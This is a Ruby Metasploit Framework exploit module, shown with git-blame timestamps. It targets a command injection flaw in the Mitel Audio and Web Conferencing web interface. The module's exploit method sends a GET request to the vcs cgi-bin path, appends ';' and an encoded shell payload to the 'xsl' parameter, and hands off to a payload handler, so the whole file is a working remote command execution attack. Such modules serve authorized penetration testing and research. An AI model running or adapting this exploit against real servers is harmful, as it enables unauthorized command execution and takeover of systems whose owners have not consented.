2010-12-21 19:02:13 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-12-21 19:02:13 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Mitel Audio and Web Conferencing Command Injection',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a command injection flaw within the Mitel
|
2011-01-08 01:13:26 +00:00
|
|
|
Audio and Web Conferencing web interface.
|
2010-12-21 19:02:13 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2011-01-08 01:13:26 +00:00
|
|
|
|
2010-12-21 19:02:13 +00:00
|
|
|
['URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-14'],
|
2010-12-21 19:16:18 +00:00
|
|
|
['OSVDB', '69934'],
|
2011-01-08 01:13:26 +00:00
|
|
|
# ['CVE', ''],
|
2010-12-21 19:02:13 +00:00
|
|
|
# ['BID', '']
|
|
|
|
],
|
|
|
|
'Platform' => ['unix', 'linux'],
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "<>",
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
2012-10-09 03:17:11 +00:00
|
|
|
'RequiredCmd' => 'generic perl ruby python bash telnet',
|
2010-12-21 19:02:13 +00:00
|
|
|
}
|
|
|
|
},
|
|
|
|
'Targets' => [ ['Automatic', { }], ],
|
|
|
|
'DefaultTarget' => 0,
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Dec 12 2010'
|
2010-12-21 19:02:13 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URIPATH', [ true, "The path to the vcs cgi-bin binary", "/awcuser/cgi-bin/vcs" ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
print_status("Attempting to execute our command..")
|
2011-01-08 01:13:26 +00:00
|
|
|
|
2010-12-21 19:02:13 +00:00
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => datastore['URIPATH'],
|
|
|
|
'method' => 'GET',
|
|
|
|
'vars_get' => {
|
|
|
|
'xml' => 'withXsl',
|
|
|
|
'xsl' => ';' + payload.encoded
|
|
|
|
}
|
|
|
|
}, 10)
|
|
|
|
|
|
|
|
if res and res.code.to_i > 200
|
|
|
|
print_error("Unexpected reply: #{res.code} #{res.body[0,500].inspect}...")
|
|
|
|
return
|
|
|
|
end
|
2011-01-08 01:13:26 +00:00
|
|
|
|
2010-12-21 19:02:13 +00:00
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|